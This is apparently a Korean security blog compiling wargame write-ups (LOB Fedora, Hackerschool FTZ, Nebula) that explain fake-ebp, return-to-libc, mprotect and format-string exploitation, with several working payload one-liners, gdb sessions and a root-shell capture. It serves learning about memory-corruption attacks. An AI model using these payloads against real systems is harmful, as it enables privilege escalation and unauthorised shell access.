리모트 BOF이고, fgets로 입력받은 값을 temp에 저장하고, 그 값을 buffer에 strcpy하여 복사해준다.
그 후 sfp를 복원시켜줌.


전에 풀었던 문제와 리모트 빼고 다른게 없는 것 같아서 ret sled를 이용하여 공격해보았다.

| buf[264] | sfp[4] | &ret[4] * 3 | &execl | 
(그리고 미리 execl함수에 의해 실행되는 파일을 심볼릭 링크해야함.. 이부분은 생략.)

nc localhost 7777 로 해보았지만 별다른 반응이 없어서 hell_fire로 시도해 보았더니,
쉘은 따졌지만 권한상승은 안됨.. 왜그런지 잘모르겠다..

 

 

다른 방법으로 찾아서 해봐야겠다..

 

system함수 내부를 살펴보면 do_system함수를 호출한다.
또 do_system함수의 내부 코드를 보면 execve("/bin/sh", "sh –c 인자", 환경변수); 이렇게 수행된다.
이처럼 do_system함수도 명령어 실행을 위해 execve 함수를 호출하여 명령을 수행하는 것을 확인할 수 있다.

 

이러한 이유 때문에 system함수를 이용하여 "/bin/sh"의 주소를 찾을 수 있다.
-------------------------------------------------------

#include<stdio.h>
#include<string.h>

int main()
{

long shell=0x4203f2c0; // ex) system()주소

while(memcmp((void*)shell, "/bin/sh", 8)) shell++;

printf("%p \n", shell);

}

-------------------------------------------------------

 

아무튼 ret영역을 &(do_system+1124)로 덮어씌우면 된다.

 

 

 




다른 문제풀이로 풀어보겠습니다.

fgets함수는 임시버퍼를 사용하는 함수로써 그 부분을 이용하여 공격하겠습니다.
우선 자고 내일 쓰겠음..


| buf[264] | sfp | &mprotect | &shellcode | 인자 1 | 인자 2 | 인자 3 | nop + shellcode | 

이런식의 공격이 안되는 이유는 mprotect함수의 주소는 아스키아머로 인해 1바이트가 \x00인 주소를 갖는다.
그래서 strcpy함수의 특성으로 인해 ret영역 이후의 값들이 buffer에 제대로 복사되지 않는다.


 

[strcpy 특성]

strcpy 는 문자열 복사를 위한 함수로서 길이를 지정안하는 대신 source 문자열이 반드시 '\0' 으로 끝나야합니다.
source 에서 '\0'을 만나면 복사를 종료합니다('\0' 까지 복사됩니다)         



그러면 어떻게 해야할까??

fgets함수가 임시버퍼를 사용한다고 했으니까 거기는 mprotect의 주소에 \x00이 있건 말건 입력해준 모든 값들이 고스란히 있을 것이다.
buffer를 이용한 공격은 strcpy함수의 특성상 buffer에 제대로 복사가 되지 않으니까 갖다 버리고, fgets의 임시버퍼영역을 통해 공격해보겠습니다.
fake ebp를 이용하여 그 영역으로 완전 옮겨가버리면 된다.

우선 임시버퍼영역의 주소가 어디인지 확인해보자

보시면 0xf6ffe000 ~ f6fff000 까지 임시버퍼영역의 고정된 주소로 지정되어있다.



*TIP : gdb를 통해 제대로 들어갔는지 확인

(python -c 'print "A"*264+"BBBB"+"\x43\x43\x00\x43"+"CCCC"';cat) | (python -c 'print "r"';cat) | (python -c 'print "b* main+221"';cat) | gdb -q ./hell_fir3

이처럼 임시버퍼영역에서는 주소에 널바이트가 오더라도 입력해준 값 그대로를 고스란히 담고 있기 때문에 이곳으로 ebp,esp를
옮겨버려서 공격하면 된다.(buffer영역에 안되는 이유는 아까도 말했듯이 strcpy를 하게 되면 널바이트까지만 복사가 이뤄짐..)


임시버퍼영역으로 ebp,esp를 옮기려면 fake ebp 기법을 이용하여 옮길 수 있다.
랜덤스택이라고 해도 상대적인 ebp의 거리는 항상 같다.
예를 들어 설명하자면 메인함수에서 ebp의 위치와 함수호출로 인해 새로 지정된 ebp의 위치의 거리는 같다는 말이다.

이러한 점을 알기 때문에 main함수에서 leave명령이 수행되고 ebp가 가리키는 곳의 위치를 쉽게 구할 수 있다.
(그 거리는 88bytes만큼 차이남)
그럼 main함수에서 leave명령을 수행한 다음 ebp가 가리키는 곳의 값을 0xf6ffe16c로 바꾸고, main함수의 ret영역에 &leaveret으로
덮어씌워주게 되면 아래와 같이 수행된다.(여기서 0xf6ffe16c의 주소는 임시버퍼영역에 해당하는 주소)

0xf6ffe000(임시버퍼시작주소) + 16c(264 + 4 + 4 + 88 + 4) = 0xf6ffe16c

                  (  buf[264] + SFP[4] + &leaveret[4] + A*88[88] + 0xf6ffe16c[4]  )


| buf[264] | SFP | &leaveret | A*88 | 0xf6ffe16c | &leaveret | &mprotect | &shellcode | parameter1 | parameter2 | parameter3 | nop+shellcode |

           ebp           

<- 낮은 주소                                                                                                                                  높은 주소 ->




| buf[264] | SFP | &leaveret | A*88 | 0xf6ffe16c | &leaveret | &mprotect | &shellcode | parameter1 | parameter2 | parameter3 | nop+shellcode |

                  esp                 ebp

<- 낮은 주소                                                                                                                                  높은 주소 ->

main 함수에서 leave 명령이 수행 된 모습
ret 명령이 수행되면 아래와 같이 된다.



아래는 버퍼영역이다. strcpy함수로 &mprotect함수 주소 이후는 제대로 복사는 안되겠지만...

| buf[264] | SFP | &leaveret | A*88 | 0xf6ffe16c | &leaveret | &mprotect | &shellcode | parameter1 | parameter2 | parameter3 | nop+shellcode |

                                                     esp                  

<- 낮은 주소                                                                                                                                  높은 주소 ->

ret 명령을 수행하면 아래 노랑 네모박스의 모습이 된다.



| buf[264] | SFP | &leaveret | A*88 | 0xf6ffe16c | &leaveret | &mprotect | &shellcode | parameter1 | parameter2 | parameter3 | nop+shellcode |

                                                     ebp(0xf6ffe16c)

<- 낮은 주소                                                                                                                                  높은 주소 ->

위는 임시버퍼영역의 구조이다. ebp가 임시버퍼 영역을 가리킨다.




| buf[264] | SFP | &leaveret | A*88 | 0xf6ffe16c | &leaveret | &mprotect | &shellcode | parameter1 | parameter2 | parameter3 | nop+shellcode |

                                                                   esp

<- 낮은 주소                                                                                                                                  높은 주소 ->

ebp는 어딘가 가리키고 ret명령에 의해 mprotect함수가 수행될 것이다.


payload



아 솔직히 이거 설명하기가 너무힘들다... 차라리 페이로드보고 짜맞추면서 보시면 편하실듯.. 설명포기 ㅠㅠ




'System Hacking > LOB_fedora' 카테고리의 다른 글

[Fedora4] dark_stone -> cruel  (0) 2015.11.28
[Fedora3] evil_wizard -> dark_stone  (0) 2015.11.25
[Fedora3] hell_fire -> evil_wizard  (0) 2015.11.23
[Fedora3] iron_golem -> dark_eyes  (0) 2015.11.20
[Fedora3] gate -> iron_golem  (0) 2015.11.19

 



저번 문제와는 달리 fake ebp와 같은 공격을 막기 위해 strcpy를 수행한 후 sfp를 다시 복원시켜주는
프로그램입니다.

[아래 그림과 같이 참조]
그래서 생각한 것이 ret영역을 코드영역에 있는 leave 명령어의 주소로 넣어서 풀면 될 것 같은 느낌이 들어서 봤더니
sfp가 랜덤스택이기 때문에 무작위로 바뀌게 됩니다.
그래서 전에 풀었던 문제처럼 ret영역 이후 부분을 [got영역의주소-8]와 [execl+3]의 주소를 쌍으로 엄청 많이 집어넣고
while문으로 반복실행시키면 언젠간 맨 처음에 스택에 껴있는 sfp가 [got영역의 주소-8]값과 일치하게 되지 않을까 하고 생각했지만
execl의 주소는 아스키아머가 걸려있기 때문에 못하게 된다…

 

 

어쩌다 발견했는데 restore된 sfp값은 buf의 시작주소와 항상 360차이가 난다.
즉 buf의 시작주소가 0xfef88bb0이면 sfp는 0xfef88d18이라서 두 값의 차는360이 된다.

 

이 점을 힌트로 하여 payload를 작성하면
buf[264] + 더미값(sfp) + &leave + "A"*88 + &(got-8) + &(execl+3)
(여기서 "A"*88을 하는 이유는 buf의 시작주소와 sfp의 차이는 360이기 때문에 그 차이를 맞춰주기 위해서.)


./dark_eyes `python -c 'print "A"*264+"BBBB"+"\xb8\x84\x04\x08"+"A"*88+"\x88\x96\x04\x08"+"\x23\x57\x7a"'`

그리고 실행될 파일명을 심볼릭 링크해야함. 그 부분은 전에 풀었던거 ㄱㄱ

'System Hacking > LOB_fedora' 카테고리의 다른 글

[Fedora4] dark_stone -> cruel  (0) 2015.11.28
[Fedora3] evil_wizard -> dark_stone  (0) 2015.11.25
[Fedora3] hell_fire -> evil_wizard  (0) 2015.11.23
[Fedora3] dark_eyes -> hell_fire  (0) 2015.11.22
[Fedora3] gate -> iron_golem  (0) 2015.11.19

 

 

[페도라3의 환경]

 

 


스택 영역을 보면 실행권한이 없습니다.
페도라3 환경처럼 스택에 쉘코드를 올리고 실행시키는 공격은 통하지 않습니다.
그렇다면 음… rtl 나 하면되려나?

 

우선 리턴 주소가 어디인지 확인하겠습니다.



보시면 264bytes 만큼 버퍼 공간을 확보하였습니다.
이는 8bytes 더미가 껴있기 때문입니다.

 

 

대충 리턴주소의 위치를 알아냈습니다.

 

r `python –c 'print "A"*268 + [system함수 주소] + [더미4bytes] + [/bin/sh]


system함수의 주소를 구하겠습니다.

그 다음은 /bin/sh의 주소를 구하겠습니다.

 

r `python –c 'print "A"*268 + \xc0\x07\x75\x00+ "AAAA" + "\x03\x36\x83\x00"'`

음.. 리턴영역에는 00은 아예 쓰여지질 않네요. 즉, 3바이트(\xc0\x07\x75)쓰이고 1바이트는 \x41로 채워져서 다른공격을
생각해봐야겠습니다. 문제 힌트로 fake ebp인데 나와있는거 말고 다른거로 풀고싶은데..음

 

일단 내일 발표준비해야하니까… fake ebp로 풀어봐야겠습니다.

예전에 fake ebp 문제 풀었던 적이 있었는데 그때는 buffer주소로 ebp를 바꿔서 쉘코드를 실행하게 하는 문제였었는데
자꾸 그 문제에 대한 고정관념 때문에 결국 답 봤음..

 


대충 간단히 설명하자면, 함수가 호출될 때 호출 된 함수는 ebp를 기준으로 인자를 참조합니다. (ebp+8, ebp+c 이런식으로)
여기에다가 ret영역을 execl함수의 주소로 덮어씌우는데, 조건이 하나 있습니다..
어떤 조건인가 하면 지금 공격할 방법이 fake ebp이기 때문에 ebp가 변경되지 않는 선에서 ret영역을 덮어 씌워줘야합니다.
무슨 말인가 하면, 함수가 호출되면 프롤로그를 수행합니다.(push ebp, mov ebp esp)
이러한 프롤로그 동작들은 ebp값을 변경시키기 때문에 프롤로그가 끝나는 주소를 ret영역에 덮어씌워줘야 합니다.
그리고 sfp를 변경시켜줄 것인데, 현재 랜덤스택이기 때문에 고정된 값을 지닌 곳을 ebp로 변경시켜 주어야합니다.
그 부분은 got영역으로 할 것인데 한번 살펴보도록 하겠습니다.

 


0x08049618이 got 영역이다.

 

이 정도만 살펴보고 다음으로 execl함수에 대해 알아볼 것인데, 이 함수는
execl(실행파일, argv,…,NULL); 이런식으로 인자 마지막에 NULL이 와야함.
이 함수도 ebp+8로 첫번째 인자를 참조하고 ebp+c, ebp+10… 이런식으로 인자를 참조합니다.

그러면 sfp를 got영역의 임의의 주소로 변경하게 되면 위와 같은 방식에 의해 첫번째 인자는
ebp+8을 참조하게 됩니다. 그러면서 마지막 인자가 NULL이 오는 조건을 만족시키는 주소를 지정하게 된다면..
음.. 그림을 보면서 하도록 하겠습니다.


sfp를 0x08049610으로 덮어씌우면 함수가 종료될 때 leave명령어에 의해 ebp값이 0x08049610으로 이동한다.
그 후 ret영역에 execl+3주소로 점프를 하게 되고, execl함수는 인자를 참조하기위해 ebp+8,ebp+c….을 하게 된다.
그러면 첫번째 인자인 실행파일은 어떤 값이 있을지 살펴보도록 하겠습니다.

 


"\001"이라는 실행파일명이 되겠습니다. 그러면 execl함수에 의해 "\001"을 실행시켰을 때 

쉘이 따지면 되겠습니다.
그렇게 하려면 심볼릭 링크를 통해서 해결하면 되겠습니다.





아참 execl함수 주소는 gdb에서 print execl 하면 됩니다.
안될 경우는 bp걸고 실행 고고~~

blood on the fedora


끝!

자면서 써서 횡설수설합니다ㅋㅋ

'System Hacking > LOB_fedora' 카테고리의 다른 글

[Fedora4] dark_stone -> cruel  (0) 2015.11.28
[Fedora3] evil_wizard -> dark_stone  (0) 2015.11.25
[Fedora3] hell_fire -> evil_wizard  (0) 2015.11.23
[Fedora3] dark_eyes -> hell_fire  (0) 2015.11.22
[Fedora3] iron_golem -> dark_eyes  (0) 2015.11.20

출처

http://blog.jump2root.com/95




윈도우에서 ELF 바이너리를 실행할 수 없어 동적인 분석은 할 수 없고 리눅스에서는 GDB를 이용해도 되지만 cui에서는 다양한 정보를 보기 어렵고 또한 복잡하다. 하지만 IDA에서는 라이브 원격을 통해 이 문제를 어느정도 해결할 수 있다.


<그림1 원격 디버깅을 위한 서버 파일>


먼저 IDA가 설치된 폴더에가면 'dbgsrv' 폴더가 있다. 이곳에는 원격 디버깅을 위한 서버 파일이 제공되는데 파일이름을 보면 알다시피 여러 환경에 사용할 수 있도록 제공된다.



<그림2 원격 서버 파일 실행>


서버는 x64 우분투를 사용며 64bit ELF파일을 디버깅하기 위해 linux_serverx64 파일를 사용하겠다. 이 파일을 서버에 움긴 뒤 실행하면 위와 같은 화면을 볼 수 있다. 기본 포트는 23946이며 포트 설정을 하고 싶다면 -p 옵션을 이용하면 된다. (단, 붙혀서 작성(ex: -p5555))


<그림3 IDA 내 리눅스 원격 디버깅>


이렇게 서버에서 사용할 준비가 되었다면 IDA를 실행한 뒤 Debugger - Run - Remote Linux debugger 를 선택하고 설정창이 뜨면 다음과 같이 입력하면 된다.


<그림4 원격 디버깅 정보>


여기서 주의할 점은 linux_serverx64 를 실행한 디렉토리를 기준으로 해야한다는것이다. 위에서 보이듯(그림2 참고) 작성자는 imgomi 디렉토리 내에서 linux_serverx64를 실행 하였기 때문에 Application과 Directory를 작성할 때 imgomi 디렉토리를 기준으로 작성하여야 한다.

'System Hacking > 정리' 카테고리의 다른 글

리눅스 보호 기법 확인  (0) 2015.11.25
소멸자(.dtors) +4 하는 이유  (0) 2015.11.10
FSB 소멸자 주소가 아닌 ret주소를 이용한 공격  (0) 2015.11.10
/proc/pid/maps  (0) 2015.11.09
; cat 을 쓰는 이유  (0) 2015.11.03

http://www.hackerschool.org/HS_Boards/zboard.php?id=QNA_level&page=1&sn1=on&divpage=1&sn=on&ss=off&sc=off&keyword=randomkid&select_arrange=headnum&desc=asc&no=2575



질문1. 모든 실행 프로그램안에는 __do_global_dtors()라는 함수가 있습니다.

이 함수는 소멸자로서 dtors섹션+4 번째 있는 메모리주소에 0이 아닌값이 있을 경우 함수로 실행을 시킵니다. 

프로그램 자체에서 소멸자함수를 호출하지 않을 경우 dtros + 4번째 메모리값은 0이 기본으로 되어있습니다.

FSB로 dtors+4번째 있는 값을 쉘코드 주소로 바꿀경우 실행이 되는 이유가 이것때문입니다.


직접 눈으로 보고 싶으실 경우 

아무 실행 파일이나 gdb로 실행한 후

disas __do_global_dtors 라고 쳐보시면 아실겁니다. ^^



'System Hacking > 정리' 카테고리의 다른 글

리눅스 보호 기법 확인  (0) 2015.11.25
IDA 리모트 디버깅 설정  (0) 2015.11.11
FSB 소멸자 주소가 아닌 ret주소를 이용한 공격  (0) 2015.11.10
/proc/pid/maps  (0) 2015.11.09
; cat 을 쓰는 이유  (0) 2015.11.03




shell상태와 gdb 상태에서의 ret 주소는 다릅니다.

하지만 스택상의 배치구조는 상대적으로 같습니다.

이 원리를 이용하는 겁니다.

커널 2.4이므로 환경변수의 쉘코드가 실행이 가능합니다.

먼저 eggshell을 띄웁니다.

[level20@ftz tmp]$ ./egg
Using address: 0xbffffab8
[level20@ftz tmp]$

다음 gdb상태에서 ret주소를 알아보겠습니다.

[level20@ftz tmp]$ gdb -q ../attackme
(gdb) disas main
Dump of assembler code for function main:
0x080483b8 <main+0>:    push   %ebp
0x080483b9 <main+1>:    mov    %esp,%ebp
0x080483bb <main+3>:    sub    $0x58,%esp
0x080483be <main+6>:    and    $0xfffffff0,%esp
0x080483c1 <main+9>:    mov    $0x0,%eax
0x080483c6 <main+14>:   sub    %eax,%esp
0x080483c8 <main+16>:   sub    $0x8,%esp
0x080483cb <main+19>:   push   $0xc1d
0x080483d0 <main+24>:   push   $0xc1d
0x080483d5 <main+29>:   call   0x80482f8 <setreuid>
0x080483da <main+34>:   add    $0x10,%esp
0x080483dd <main+37>:   sub    $0x4,%esp
0x080483e0 <main+40>:   pushl  0x80495c0
0x080483e6 <main+46>:   push   $0x4f
0x080483e8 <main+48>:   lea    0xffffffa8(%ebp),%eax
0x080483eb <main+51>:   push   %eax
0x080483ec <main+52>:   call   0x80482c8 <fgets>
0x080483f1 <main+57>:   add    $0x10,%esp
0x080483f4 <main+60>:   sub    $0xc,%esp
0x080483f7 <main+63>:   lea    0xffffffa8(%ebp),%eax
0x080483fa <main+66>:   push   %eax
0x080483fb <main+67>:   call   0x80482e8 <printf>
0x08048400 <main+72>:   add    $0x10,%esp
0x08048403 <main+75>:   leave
0x08048404 <main+76>:   ret
0x08048405 <main+77>:   nop
0x08048406 <main+78>:   nop
0x08048407 <main+79>:   nop
End of assembler dump.
(gdb) b *main+1
Breakpoint 1 at 0x80483b9
(gdb) r
Starting program: /home/level20/attackme

Breakpoint 1, 0x080483b9 in main ()
(gdb) x/x $esp
0xbffff1e8:     0xbffff208 <--- 이전 ebp 주소
(gdb)
0xbffff1ec:     0x40038917 <--- ret
(gdb)

ret 주소는 0xbffff1ec이고 이전 ebp주소는 0xbffff208입니다.

이 둘의 차이값은 항상 일정합니다.

차이값을 구하면 0xbffff208 - 0xbffff1ec = 0x1c

이 차이값을 잘 기억하시기 바랍니다.

그 다음 쉘 상태에서 이전 ebp주소를 구해보겠습니다.

[level20@ftz tmp]$ ../attackme
%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x
4f401574604009d5007825782578257825782578257825782578257825782578257825782578257825782578257825782578257825782578257825782578257825bfff000a80482b54000c660bffff234bffff1e88048412401591c040015360bffff208400389171 <--- ret 주소.
[level20@ftz tmp]$

포멧스트링 버그를 통해서 이전 ebp주소가 노출되었죠?

보시면 이전 ebp주소는 0xbffff208로 gdb와 같은 주소를 갖고 있습니다.

그럼 당연히 ret주소도 같습니다.

하지만 egg쉘을 취소한 후 다시 확인을 해보면...

[level20@ftz tmp]$ exit
exit
[level20@ftz tmp]$ ../attackme
%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x
4f401574604009d5007825782578257825782578257825782578257825782578257825782578257825782578257825782578257825782578257825782578257825bfff000a80482b54000c660bffffb24bffffad88048412401591c040015360bffffaf8400389171 <--- 이전 ebp주소가 다름!!!

이전 ebp주소가 0xbffffaf8로써 다름을 알수 있습니다.

이런 현상이 발생하는 이유는 egg쉘에서 수행하는 환경변수 등록때문입니다.

모든 환경변수는 스택상에 배치되는데 egg쉘의 경우 NOP코드를 비정상적으로 크게 넣습니다.

커널 2.4에서 환경변수의 크기가 비정상적으로 클 경우 스택구조가 gdb와 shell과 같아 지는 현상이 발생합니다.

가끔 egg쉘을 띄웠는데도 불구하고 ret주소가 다른 경우도 있는데 그 경우는 

환경변수의 내용을 수정했거나 argv영역의 값이 다를경우 발생합니다.

하지만 다르다고 할지라도 아까 구한 gdb에서의 이전 ebp - ret주소 차이값을 

구한 다음 shell에서 이전 ebp값을 알수 있으면 손쉽게 ret주소를 알수있습니다.

다시 egg쉘을 실행한 후 ret주소를 변경하여 쉘을 실행해 보겠습니다.

[level20@ftz tmp]$ ./egg
Using address: 0xbffffab8
[level20@ftz tmp]$

쉘에서의 ret주소는 0xbffff1ec입니다.

[level20@ftz tmp]$ (python -c 'print "\xee\xf1\xff\xbf"+"\xec\xf1\xff\xbf"+"%49143x%4$hn"+"%15033x%5$hn"';cat) | ../attackme 

...

                                                   40157460
id
uid=3101(clear) gid=3100(level20) groups=3100(level20)
my-pass
TERM environment variable not set.

clear Password is "**********************".
웹에서 등록하세요.

* 해커스쿨의 모든 레벨을 통과하신 것을 축하드립니다.
당신의 끈질긴 열정과 능숙한 솜씨에 찬사를 보냅니다.
해커스쿨에서는 실력있는 분들을 모아 연구소라는 그룹을 운영하고 있습니다.
이 메시지를 보시는 분들 중에 연구소에 관심있으신 분은 자유로운 양식의
가입 신청서를 admin@hackerschool.org로 보내주시기 바랍니다.

Clear의 권한을 획득했습니다.

--------------------------------------------------------------------------

커널 2.4는 스택의 주소가 고정적이기 때문에 스택상에 있는 주소값과 상대적인 

차이를 이용하면 얼마든지 가능합니다.

위에서 보여준 예는 main()의 리턴어드레스변조지만 포멧스트링이 일어나는 

printf의 리턴어드레스도 변조가 가능합니다.

이전 글에서 질문하신 답변을 더해드리겠습니다.

질문 : 추가로 하나만 더 질문 드릴게요..// 그렇다면, sh-3.2# 이런식으로 쉘이 뜨는건, 자식프로세스로 쉘이뜨는게 아니라, 독립된 프로세스로 쉘이 뜬다는 말씀이신건가요??

자식프로세스라는 말에 중점을 두고 읽으신것 같습니다. ^^;;

표준 입력을 요구하는 프로그램을 공격해야할 경우 파이프를 통해서 

원하는 코드를 넣어야 합니다.

다음과 같이 입력을 할 경우

printf "..." | ./vul

먼저 printf가 실행이 되고 출력되는 값을 잠시 저장하고 있습니다.

이 상태에서 vul이 실행이 됩니다.

vul에서 표준 입력을 요구할때 그때서야 printf의 출력 코드를 입력으로 넣게되고

printf는 종료가 됩니다.

이렇게 되면 다음과 같이 됩니다.

... | ./vul

즉 파이프의 연결이 해제가 됩니다.

이 상태에서 자식프로세스로 shell이 뜬다고 해도 입력을 할수 없게 됩니다.

그래서  printf "...";cat | ./vul

이렇게 실행하므로써 

cat | ./vul --> shell

cat이라는 표준 출력 프로그램을 이용해서 shell에게 명령을 내릴수있는 파이프를

연결 유지하기 위함입니다.

파이프의 연결 유지를 위해서 위와 같이 공격을 하는것입니다. ^^

저의 짧은 지식이 답변이 되었는지 모르겠습니다.

저도 pogusm님처럼 스택과 씨름할때가 기억나네요 ^^

즐거운 하루 되세요~


'System Hacking > 정리' 카테고리의 다른 글

IDA 리모트 디버깅 설정  (0) 2015.11.11
소멸자(.dtors) +4 하는 이유  (0) 2015.11.10
/proc/pid/maps  (0) 2015.11.09
; cat 을 쓰는 이유  (0) 2015.11.03
suid 동작  (0) 2015.10.30

/* 출처
 http://sosal.tistory.com/
 * made by so_Sal
 */

- 프로그램 안에서, Code segment, data segment,
                          stack segment, heap segment, .bss 등을 살펴보겠습니다.

"유닉스 계열은 모든 것이 파일, 프로세스 이다. " 라는 말을 무수히 들어보셨을 것입니다.
그렇다면 중요한 정보들이 어디에 파일로 저장되어 자리하고 있는지 알게된다면
쉽게 정보들을 찾을 수 있을 것 같습니다.

proc : process의 줄임말이며, 이곳에 프로세스의 정보들이 저장됩니다.
사용자 프로세스의 정보들을 이곳에서 얻을 수 있으며 심지어 조작도 가능하다는 점에서
/proc 파일시스템은 굉장히 유용합니다.




위 그림에서 보는바와 같이 (pstree 명령어) 모든 프로세스의 부모 프로세스는 1 (init) 프로세스입니다.
하지만 이녀석이라고 특별하지는 않습니다. ls 명령어를 쳐보니 역시 다른 프로세스와 마찬가지로
프로세스 정보들을 가지고 있는 파일들이 주루룩 뜨네요.

proc 디렉토리에서 ls 결과입니다.



/proc/self : 현재 실행되고 있는 프로세스의 정보가 담겨있는 디렉토리




그럼 프로그램을 만들어, maps에 어떤 정보들이 저장되는지 확인 해 볼까요?




실행하면, maps 주소까지 보여줍니다.



<실행결과>
Address of function main is :  0x8048414 // code segment
Address of gloval value is : 0x8049708  // data segment
Address of local value is : 0xbfcd4180  // stack

<maps> 
메모리 위치         | 권한 | offset | device | inode / path
08048000-08049000 r-xp 00000000 fd:00 3999505    /home/sosal/Desktop/trash/sleep
08049000-0804a000 rw-p 00000000 fd:00 3999505    /home/sosal/Desktop/trash/sleep
b7ef3000-b7ef5000 rw-p b7ef3000 00:00 0
b7f01000-b7f02000 rw-p b7f01000 00:00 0
bfcc1000-bfcd6000 rw-p bffea000 00:00 0          [stack]

main함수의 주소가 <maps>의 첫번째 주소 사이에 위치한 사실을 알 수 있습니다.

이 사실은 GDB와 같은 디버거를 사용하여 프로그램을 디버깅 하는경우 중요합니다.
// Code segment 영역으로, r-xp 읽기, 실행 권한이 주어져있음. (실행명령어 저장장소)

두번째, gloval value의 주소가 <maps>의 두번째 주소에 위치한 사실을 알 수 있습니다..
이곳은 data segment로, rw-p 읽기 쓰기 권한이 주어져있습니다.. (데이터 저장장소)
전역변수 이외에도 스택변수, 힙변수가 있는데 이 데이터들은 다른곳에 저장됩니다..

스택변수로 local_value는 [stack] 이라는 경로에 저장되는데,
스택은 높은주소에서 낮은주소로 내려가게됩니다..
즉, 이번 주소가 0xbfcd4180 이었다면, 다음 4바이트 변수의 주소는 0xbfcd417c 일것입니다.

다음의 소스에서 bss와 Heap segment를 살펴보겠습니다.


실행결과

Heap segment는 힙 변수를 저장합니다.
new(), malloc()와 같은 API를 통해 동적으로 할당한 메모리들이 힙 변수입니다.
malloc, new 등의 API는 brk() 세스템 호출을 통해
세그먼트 끝을 연장하여 요청받은 메모리를 할당합니다.
이 세그먼트에는 bss 섹션도 들어있는데, 초기화되지 않는 전역변수들이 저장되는곳입니다.
하지만 위 프로그램 결과에서는 bss가 힙 세그먼트에 저장되어있지 않고, 데이터 세그먼트에 있는데
전역변수의 수가 작은탓에 데이터세그먼트 끝에 사용하지 않는 공간이 생겼기 때문에
OS가 낭비되는 공간을 줄이는 과정에서 생긴 결과입니다.

readelffh bss 섹션위치를 살펴봐도, bss전역변수가 .bss 위치에 있다는것을 알 수 있습니다.


brk 포인터는 현재 설정된 데이터 세그먼트 최하위 주소이며, 인수 0을주고 sbrk() 를 호출하여 얻습니다.
(brk도 bss 전역변수와 같이 데이터 세그먼트에 저장될 수 있다.)

malloc 호출 이후에, heapseg 항목이 생긴걸로 봐서,
동적으로 세그먼트 끝을 연장했다는 사실을 알 수 있습니다.
malloc(1024) -> sbrk 포인터가 0x1000 크기만큼 증가함


======================== 추가 ======================================

http://stackoverflow.com/questions/1401359/understanding-linux-proc-id-maps



Each row in /proc/$PID/maps describes a region of contiguous virtual memory in a process or thread. Each row has the following fields:

address           perms offset  dev   inode   pathname
08048000-08056000 r-xp 00000000 03:0c 64593   /usr/sbin/gpm
  • address - This is the starting and ending address of the region in the process's address space
  • permissions - This describes how pages in the region can be accessed. There are four different permissions: read, write, execute, and shared. If read/write/execute are disabled, a '-' will appear instead of the 'r'/'w'/'x'. If a region is not shared, it is private, so a 'p' will appear instead of an 's'. If the process attempts to access memory in a way that is not permitted, a segmentation fault is generated. Permissions can be changed using the mprotect system call.
  • offset - If the region was mapped from a file (using mmap), this is the offset in the file where the mapping begins. If the memory was not mapped from a file, it's just 0.
  • device - If the region was mapped from a file, this is the major and minor device number (in hex) where the file lives.
  • inode - If the region was mapped from a file, this is the file number.
  • pathname - If the region was mapped from a file, this is the name of the file. This field is blank for anonymous mapped regions. There are also special regions with names like [heap][stack], or [vdso][vdso] stands for virtual dynamic shared object. It's used by system calls to switch to kernel mode. Here's a good article about it.

You might notice a lot of anonymous regions. These are usually created by mmap but are not attached to any file. They are used for a lot of miscellaneous things like shared memory or buffers not allocated on the heap. For instance, I think the pthread library uses anonymous mapped regions as stacks for new threads.






'System Hacking > 정리' 카테고리의 다른 글

IDA 리모트 디버깅 설정  (0) 2015.11.11
소멸자(.dtors) +4 하는 이유  (0) 2015.11.10
FSB 소멸자 주소가 아닌 ret주소를 이용한 공격  (0) 2015.11.10
; cat 을 쓰는 이유  (0) 2015.11.03
suid 동작  (0) 2015.10.30

 

gdb 로 분석해보면 위에 부분이 encryption 하는 루틴이다.

buf에 있는 문자열은 token에서 구한 암호화된 문자열이다.
그것을 아까 분석한 루틴을 복호화시키는 부분을 넣어서 풀면 끝!

 

 

'System Hacking > Exploit-exercise' 카테고리의 다른 글

Nebula [Level13]  (1) 2015.11.04
nebula 문제 설명  (0) 2015.11.04
Nebula [Level10]  (0) 2015.11.01
Nebula [Level08]  (0) 2015.11.01
Protostar [stack01 ~ stack05]  (0) 2015.10.31

 

저기 소스코드는 있지만 가려진 부분을 보면 token값을 얻을 것이다.
gdb에도 레지스터 값을 변경할 수 있는 명령어가 있다.


set $eax = 1000하면 끝.

'System Hacking > Exploit-exercise' 카테고리의 다른 글

Nebula [Level14]  (0) 2015.11.04
nebula 문제 설명  (0) 2015.11.04
Nebula [Level10]  (0) 2015.11.01
Nebula [Level08]  (0) 2015.11.01
Protostar [stack01 ~ stack05]  (0) 2015.10.31


아래 사이트 가보면 문제 있음.

http://uberskill.blogspot.kr/2012/09/nebula-level11.html

'System Hacking > Exploit-exercise' 카테고리의 다른 글

Nebula [Level14]  (0) 2015.11.04
Nebula [Level13]  (1) 2015.11.04
Nebula [Level10]  (0) 2015.11.01
Nebula [Level08]  (0) 2015.11.01
Protostar [stack01 ~ stack05]  (0) 2015.10.31

[출처] http://www.hackerschool.org/HS_Boards/zboard.php?id=Free_Lectures&no=732



결론은 , '|' 때문에 ;cat 을 붙여야만 되는 겁니다.


ㄱ) (  A 명령  ) | ./attackme   이런 입력을 했다면.


(perl -e 'print "\x32\xff\xff\xbf . . ..";cat)|./attackme 라는 예를 들죠.


ㄱ) 과 같은 방법을 통해서..


인자전달 방식이 아닌, 표준입력(키보드)을 통해 따로 입력을 받는 


attackme 프로그램 같은 경우라도  '|' 을 통해 변수에 내가 원하는 값을 넣어서 


오버플로우를 시킬수는 있었지만.


attackme 의 코드 중에 system("/bin/sh") 에 의해 생성되는 프로세스 또한


| 기준을 왼쪽에 있는. 다시말해서 ( A ) 자리의 프로세스의 표준 출력 내용을  


입력받으려고 하는거죠..



*원래 쉘(/bin/sh) 는 프롬프트 $ 를 띄우고 표준입력(키보드) 로부터

입력을 기다리는 것이지만...  위의 경우에는 | 때문에

키보드 대신 ( A ) 자리의 프로세스의 표준출력 내용을 

입력받으려 한다는 거죠..



헌데, ( A )자리에 있던 프로세스가 종료되면 더이상 입력받을 내용이 없기 때문에 종료 됩니다.


따라서 ,파이프 연결을 지속적으로 유지시키기 위해서


cat 을 하나 더 집어넣어서 계속적으로 ( A ) 자리에서 표준출력을 시킬수 있도록


만들어 주는거죠.. 그게 바로 ;cat 의 역할 입니다.



그림으로 나타내어 보자면..





;cat 때문에

cat실행되고 키보드로부터 입력기다리면서

